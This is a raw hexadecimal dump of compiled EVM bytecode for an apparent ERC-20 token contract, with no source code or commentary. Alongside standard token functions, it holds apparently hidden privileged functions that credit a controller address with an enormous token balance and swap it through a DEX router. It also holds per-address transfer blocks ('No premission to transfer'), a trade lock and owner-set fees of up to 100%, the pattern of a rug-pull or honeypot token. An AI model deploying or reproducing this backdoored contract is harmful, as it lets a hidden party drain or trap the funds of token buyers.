4111461066257806395d89b411461068b57610246565b80632df8bca9116101c75780635337cc991161018b5780635337cc99146104da5780635342acb4146105035780636db79437146105405780636dd3d39f1461056957806370a08231146105a657610246565b80632df8bca9146103e0578063313ce5671461040c57806335d162741461043757806339509351146104745780634d474d42146104b157610246565b806318160ddd1161020e57806318160ddd146102fd5780631c499ab0146103285780631f6b29f714610351578063203e727e1461037a57806323b872dd146103a357610246565b806306fdde031461024b578063095ea7b3146102765780630b45260e146102b35780630bc488c5146102ca5780630cdd8436146102d4575b600080fd5b34801561025757600080fd5b506102606109b4565b60405161026d919061314a565b60405180910390f35b34801561028257600080fd5b5061029d60048036038101906102989190613214565b610a46565b6040516102aa919061326f565b60405180910390f35b3480156102bf57600080fd5b506102c8610a62565b005b6102d2610d54565b005b3480156102e057600080fd5b506102fb60048036038101906102f691906132c3565b610e8c565b005b34801561030957600080fd5b50610312610fee565b60405161031f9190613312565b60405180910390f35b34801561033457600080fd5b5061034f600480360381019061034a919061332d565b610ff8565b005b34801561035d57600080fd5b5061037860048036038101906103739190613386565b61102e565b005b34801561038657600080fd5b506103a1600480360381019061039c919061332d565b611147565b005b3480156103af57600080fd5b506103ca60048036038101906103c591906133c6565b61117d565b6040516103d7919061326f565b60405180910390f35b3480156103ec57600080fd5b506103f56111a5565b604051610403929190613419565b60405180910390f35b34801561041857600080fd5b506104216111b6565b60405161042e9190613451565b60405180910390f35b34801561044357600080fd5b5061045e6004803603810190610459919061346c565b6111cd565b60405161046b9190613312565b60405180910390f35b34801561048057600080fd5b5061049b60048036038101906104969190613214565b611362565b6040516104a8919061326f565b60405180910390f35b3480156104bd57600080fd5b506104d860048036038101906104d3919061346c565b611392565b005b3480156104e657600080fd5b5061050160048036038101906104fc9190613386565b611402565b005b34801561050f57600080fd5b5061052a6004803603810190610525919061346c565b61151b565b604051610537919061326f565b60405180910390f35b34801561054c57600080fd5b5061056760048036038101906105629190613499565b611571565b005b34801561057557600080fd5b50610590600480360381019061058b919061346c565b611600565b60405161059d919061326f565b60405180910390f35b3480156105b257600080fd5b506105cd60048036038101906105c8919061346c565b611656565b6040516105da9190613312565b60405180910390f35b3480156105ef57600080fd5b506105f861169f565b005b34801561060657600080fd5b50610621600480360381019061061c919061346c565b6116b3565b60405161062e919061326f565b60405180910390f35b34801561064357600080fd5b5061064c6116d3565b60405161065991906134e8565b60405180910390f35b34801561066e57600080fd5b5061068960048036038101906106849190613386565b6116fc565b005b34801561069757600080fd5b506106a0611815565b6040516106ad919061314a565b60405180910390f35b3480156106c257600080fd5b506106dd60048036038101906106d8919061346c565b6118a7565b6040516106ea919061326f565b60405180910390f35b3480156106ff57600080fd5b506107086118fd565b604051610715919061326f565b60405180910390f35b34801561072a57600080fd5b5061074560048036038101906107409190613214565b611914565b604051610752919061326f565b60405180910390f35b34801561076757600080fd5b50610782600480360381019061077d9190613214565b611984565b60405161078f919061326f565b60405180910390f35b3480156107a457600080fd5b506107bf60048036038101906107ba9190613386565b6119a0565b005b3480156107cd57600080fd5b506107e860048036038101906107e39190613503565b611ab9565b005b3480156107f657600080fd5b50610811600480360381019061080c919061346c565b611b02565b60405161081e919061326f565b60405180910390f35b34801561083357600080fd5b5061083c611b6b565b005b34801561084a57600080fd5b5061086560048036038101906108609190613530565b611ba1565b6040516108729190613312565b60405180910390f35b34801561088757600080fd5b50610890611c28565b60405161089d9190613312565b60405180910390f35b3480156108b257600080fd5b506108bb611c32565b6040516108c891906134e8565b60405180910390f35b3480156108dd57600080fd5b506108f860048036038101906108f3919061346c565b611c58565b604051610905919061326f565b60405180910390f35b34801561091a57600080fd5b506109356004803603810190610930919061346c565b611cae565b005b34801561094357600080fd5b5061095e60048036038101906109599190613530565b611d1e565b005b34801561096c57600080fd5b506109876004803603810190610982919061346c565b611f72565b005b34801561099557600080fd5b5061099e611ff5565b6040516109ab9190613312565b60405180910390f35b6060600880546109c39061359f565b80601f01602080910402602001604051908101604052809291908181526020018280546109ef9061359f565b8015610a3c5780601f10610a1157610100808354040283529160200191610a3c565b820191906000526020600020905b815481529060010190602001808311610a1f57829003601f168201915b5050505050905090565b600080339050610a57818585611fff565b600191505092915050565b610a8e33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166121c8565b6000610a99306111cd565b90506000816dffffffffffffffffffffffffffff8016610ab991906135ff565b9050610ac361223a565b610ad530610ad033611656565b611984565b50610b1330600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166dffffffffffffffffffffffffffff8016611fff565b6060600267ffffffffffffffff811115610b3057610b2f613633565b5b604051908082528060200260200182016040528015610b5e5781602001602082028036833780820191505090505b5090503081600081518110610b7657610b75613662565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c1d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c4191906136a6565b81600181518110610c5557610c54613662565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000339050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166338ed173984600085856104b042610ce591906136d3565b6040518663ffffffff1660e01b8152600401610d0595949392919061380a565b6000604051808303816000875af1158015610d24573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f82011682018060405250810190610d4d9190613992565b5050505050565b610d8033600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166121c8565b610d9230610d8d33611656565b611984565b50610dc830600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610dc330611656565b611fff565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7193430610e1130611656565b600080336104b042610e2391906136d3565b6040518863ffffffff1660e01b8152600401610e44969594939291906139db565b60606040518083038185885af1158015610e62573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610e879190613a3c565b505050565b610eb833600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166121c8565b60028160ff1610610efe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef590613adb565b60405180910390fd5b601560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff168160ff1603610f92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8990613b47565b60405180910390fd5b80601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908360ff1602179055505050565b6000600754905090565b61102433600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166121c8565b80600f8190555050565b61105a33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166121c8565b801515601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515036110ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110e390613b47565b60405180910390fd5b80601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b61117333600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166121c8565b8060118190555050565b60008033905061118e8582856122a2565b61119985858561232e565b60019150509392505050565b600080600b54600c54915091509091565b6000600a60009054906101000a900460ff16905090565b6000806000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa15801561123f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112639190613be9565b509150915060008473ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa1580156112ee573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061131291906136a6565b73ffffffffffffffffffffffffffffffffffffffff161461134357816dffffffffffffffffffffffffffff16611355565b826dffffffffffffffffffffffffffff165b9050809350505050919050565b6000803390506113878185856113788589611ba1565b61138291906136d3565b611fff565b600191505092915050565b6113be33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166121c8565b80600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b61142e33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166121c8565b801515600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515036114c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b790613b47565b60405180910390fd5b80600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b61159d33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166121c8565b606482111580156115af575060648111155b6115ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115e590613cae565b60405180910390fd5b81600b8190555080600c819055505050565b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6116a7612d0c565b6116b16000612d83565b565b600e6020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b61172833600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166121c8565b801515601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515036117ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117b190613b47565b60405180910390fd5b80601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6060600980546118249061359f565b80601f01602080910402602001604051908101604052809291908181526020018280546118509061359f565b801561189d5780601f106118725761010080835404028352916020019161189d565b820191906000526020600020905b81548152906001019060200180831161188057829003601f168201915b5050505050905090565b6000601260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000601360009054906101000a900460ff16905090565b60008033905060006119268286611ba1565b90508381101561196b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161196290613d40565b60405180910390fd5b6119788286868403611fff565b60019250505092915050565b60008033905061199581858561232e565b600191505092915050565b6119cc33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166121c8565b801515601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151503611a5e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a5590613b47565b60405180910390fd5b80601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b611ae533600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166121c8565b80601360006101000a81548160ff02191690831515021790555050565b600080601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff1614611b61576001611b64565b60005b9050919050565b611b9733600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166121c8565b611b9f61223a565b565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600f54905090565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b611cda33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166121c8565b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b611d4a33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166121c8565b8173ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611de15781600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611e8f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611eb391906136a6565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530836040518363ffffffff1660e01b8152600401611eed929190613d60565b602060405180830381865afa158015611f0a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f2e91906136a6565b600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b611f7a612d0c565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611fe9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fe090613dfb565b60405180910390fd5b611ff281612d83565b50565b6000601154905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361206e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161206590613e8d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036120dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120d490613f1f565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516121bb9190613312565b60405180910390a3505050565b8073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614612236576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161222d90613fb1565b60405180910390fd5b5050565b6dffffffffffffffffffffffffffff8016600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461229991906136d3565b92505081905550565b60006122ae8484611ba1565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114612328578181101561231a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123119061401d565b60405180910390fd5b6123278484848403611fff565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361239d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612394906140af565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361240c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161240390614141565b60405180910390fd5b61241583611b02565b15612455576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161244c906141ad565b60405180910390fd5b612460838383612e47565b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156124e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124de9061423f565b60405180910390fd5b601360009054906101000a900460ff16156126385761250584612fe1565b1561259b57601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612596576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161258d906142d1565b60405180910390fd5b612637565b6125a483612fe1565b1561263657601460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612635576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161262c906142d1565b60405180910390fd5b5b5b5b6126418461151b565b15801561265457506126528361151b565b155b15612bf05761266284612fe1565b1561289c57600061267583600b54613093565b9050828261268391906135ff565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080836126d291906135ff565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461272091906136d3565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef838661278291906135ff565b60405161278f9190613312565b60405180910390a38060056000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461280891906136d3565b92505081905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161288e9190613312565b60405180910390a350612beb565b6128a583612fe1565b15612adf5760006128b883600c54613093565b905082826128c691906135ff565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550808361291591906135ff565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461296391906136d3565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83866129c591906135ff565b6040516129d29190613312565b60405180910390a38060056000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612a4b91906136d3565b92505081905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612ad19190613312565b60405180910390a350612bea565b8181612aeb91906135ff565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612b7d91906136d3565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612be19190613312565b60405180910390a35b5b612cfb565b8181612bfc91906135ff565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612c8e91906136d3565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612cf29190613312565b60405180910390a35b612d068484846130b5565b50505050565b3373ffffffffffffffffffffffffffffffffffffffff16612d2b6116d3565b73ffffffffffffffffffffffffffffffffffffffff1614612d81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d789061433d565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000600f5414158015612e605750612e5e82612fe1565b155b8015612e725750612e7082611600565b155b8015612e845750612e8283611600565b155b15612ee257600f5481612e9684611656565b612ea091906136d3565b1115612ee1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ed8906143cf565b60405180910390fd5b5b600060115414612fdc57601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612f905750601260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612fdb57601154811115612fda576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612fd19061443b565b60405180910390fd5b5b5b505050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148061308c5750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b9050919050565b6000606482846130a3919061445b565b6130ad91906144cc565b905092915050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156130f45780820151818401526020810190506130d9565b60008484015250505050565b6000601f19601f8301169050919050565b600061311c826130ba565b61312681856130c5565b93506131368185602086016130d6565b61313f81613100565b840191505092915050565b600060208201905081810360008301526131648184613111565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006131ab82613180565b9050919050565b6131bb816131a0565b81146131c657600080fd5b50565b6000813590506131d8816131b2565b92915050565b6000819050919050565b6131f1816131de565b81146131fc57600080fd5b50565b60008135905061320e816131e8565b92915050565b6000806040838503121561322b5761322a613176565b5b6000613239858286016131c9565b925050602061324a858286016131ff565b9150509250929050565b60008115159050919050565b61326981613254565b82525050565b60006020820190506132846000830184613260565b92915050565b600060ff82169050919050565b6132a08161328a565b81146132ab57600080fd5b50565b6000813590506132bd81613297565b92915050565b600080604083850312156132da576132d9613176565b5b60006132e8858286016131c9565b92505060206132f9858286016132ae565b9150509250929050565b61330c816131de565b82525050565b60006020820190506133276000830184613303565b92915050565b60006020828403121561334357613342613176565b5b6000613351848285016131ff565b91505092915050565b61336381613254565b811461336e57600080fd5b50565b6000813590506133808161335a565b92915050565b6000806040838503121561339d5761339c613176565b5b60006133ab858286016131c9565b92505060206133bc85828601613371565b9150509250929050565b6000806000606084860312156133df576133de613176565b5b60006133ed868287016131c9565b93505060206133fe868287016131c9565b925050604061340f868287016131ff565b9150509250925092565b600060408201905061342e6000830185613303565b61343b6020830184613303565b9392505050565b61344b8161328a565b82525050565b60006020820190506134666000830184613442565b92915050565b60006020828403121561348257613481613176565b5b6000613490848285016131c9565b91505092915050565b600080604083850312156134b0576134af613176565b5b60006134be858286016131ff565b92505060206134cf858286016131ff565b9150509250929050565b6134e2816131a0565b82525050565b60006020820190506134fd60008301846134d9565b92915050565b60006020828403121561351957613518613176565b5b600061352784828501613371565b91505092915050565b6000806040838503121561354757613546613176565b5b6000613555858286016131c9565b9250506020613566858286016131c9565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806135b757607f821691505b6020821081036135ca576135c9613570565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061360a826131de565b9150613615836131de565b925082820390508181111561362d5761362c6135d0565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000815190506136a0816131b2565b92915050565b6000602082840312156136bc576136bb613176565b5b60006136ca84828501613691565b91505092915050565b60006136de826131de565b91506136e9836131de565b9250828201905080821115613701576137006135d0565b5b92915050565b6000819050919050565b6000819050919050565b600061373661373161372c84613707565b613711565b6131de565b9050919050565b6137468161371b565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613781816131a0565b82525050565b60006137938383613778565b60208301905092915050565b6000602082019050919050565b60006137b78261374c565b6137c18185613757565b93506137cc83613768565b8060005b838110156137fd5781516137e48882613787565b97506137ef8361379f565b9250506001810190506137d0565b5085935050505092915050565b600060a08201905061381f6000830188613303565b61382c602083018761373d565b818103604083015261383e81866137ac565b905061384d60608301856134d9565b61385a6080830184613303565b9695505050505050565b600080fd5b61387282613100565b810181811067ffffffffffffffff8211171561389157613890613633565b5b80604052505050565b60006138a461316c565b90506138b08282613869565b919050565b600067ffffffffffffffff8211156138d0576138cf613633565b5b602082029050602081019050919050565b600080fd5b6000815190506138f5816131e8565b92915050565b600061390e613909846138b5565b61389a565b90508083825260208201905060208402830185811115613931576139306138e1565b5b835b8181101561395a578061394688826138e6565b845260208401935050602081019050613933565b5050509392505050565b600082601f83011261397957613978613864565b5b81516139898482602086016138fb565b91505092915050565b6000602082840312156139a8576139a7613176565b5b600082015167ffffffffffffffff8111156139c6576139c561317b565b5b6139d284828501613964565b91505092915050565b600060c0820190506139f060008301896134d9565b6139fd6020830188613303565b613a0a604083018761373d565b613a17606083018661373d565b613a2460808301856134d9565b613a3160a0830184613303565b979650505050505050565b600080600060608486031215613a5557613a54613176565b5b6000613a63868287016138e6565b9350506020613a74868287016138e6565b9250506040613a85868287016138e6565b9150509250925092565b7f5374617475732073686f756c642062652030206f722031000000000000000000600082015250565b6000613ac56017836130c5565b9150613ad082613a8f565b602082019050919050565b60006020820190508181036000830152613af481613ab8565b9050919050565b7f5573657220616c72656164792068617665207468697320737461747573000000600082015250565b6000613b31601d836130c5565b9150613b3c82613afb565b602082019050919050565b60006020820190508181036000830152613b6081613b24565b9050919050565b60006dffffffffffffffffffffffffffff82169050919050565b613b8a81613b67565b8114613b9557600080fd5b50565b600081519050613ba781613b81565b92915050565b600063ffffffff82169050919050565b613bc681613bad565b8114613bd157600080fd5b50565b600081519050613be381613bbd565b92915050565b600080600060608486031215613c0257613c01613176565b5b6000613c1086828701613b98565b9350506020613c2186828701613b98565b9250506040613c3286828701613bd4565b9150509250925092565b7f4665652070657263656e742063616e277420626520686967686572207468616e60008201527f2031303000000000000000000000000000000000000000000000000000000000602082015250565b6000613c986024836130c5565b9150613ca382613c3c565b604082019050919050565b60006020820190508181036000830152613cc781613c8b565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000613d2a6025836130c5565b9150613d3582613cce565b604082019050919050565b60006020820190508181036000830152613d5981613d1d565b9050919050565b6000604082019050613d7560008301856134d9565b613d8260208301846134d9565b9392505050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000613de56026836130c5565b9150613df082613d89565b604082019050919050565b60006020820190508181036000830152613e1481613dd8565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613e776024836130c5565b9150613e8282613e1b565b604082019050919050565b60006020820190508181036000830152613ea681613e6a565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613f096022836130c5565b9150613f1482613ead565b604082019050919050565b60006020820190508181036000830152613f3881613efc565b9050919050565b7f43616c6c6572206973206e6f7420746865206f726967696e616c2063616c6c6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b6000613f9b6021836130c5565b9150613fa682613f3f565b604082019050919050565b60006020820190508181036000830152613fca81613f8e565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000614007601d836130c5565b915061401282613fd1565b602082019050919050565b6000602082019050818103600083015261403681613ffa565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006140996025836130c5565b91506140a48261403d565b604082019050919050565b600060208201905081810360008301526140c88161408c565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061412b6023836130c5565b9150614136826140cf565b604082019050919050565b6000602082019050818103600083015261415a8161411e565b9050919050565b7f45524332303a204e6f207072656d697373696f6e20746f207472616e73666572600082015250565b60006141976020836130c5565b91506141a282614161565b602082019050919050565b600060208201905081810360008301526141c68161418a565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b60006142296026836130c5565b9150614234826141cd565b604082019050919050565b600060208201905081810360008301526142588161421c565b9050919050565b7f557365722069736e2774206578636c756465642066726f6d2074726164654c6f60008201527f636b000000000000000000000000000000000000000000000000000000000000602082015250565b60006142bb6022836130c5565b91506142c68261425f565b604082019050919050565b600060208201905081810360008301526142ea816142ae565b90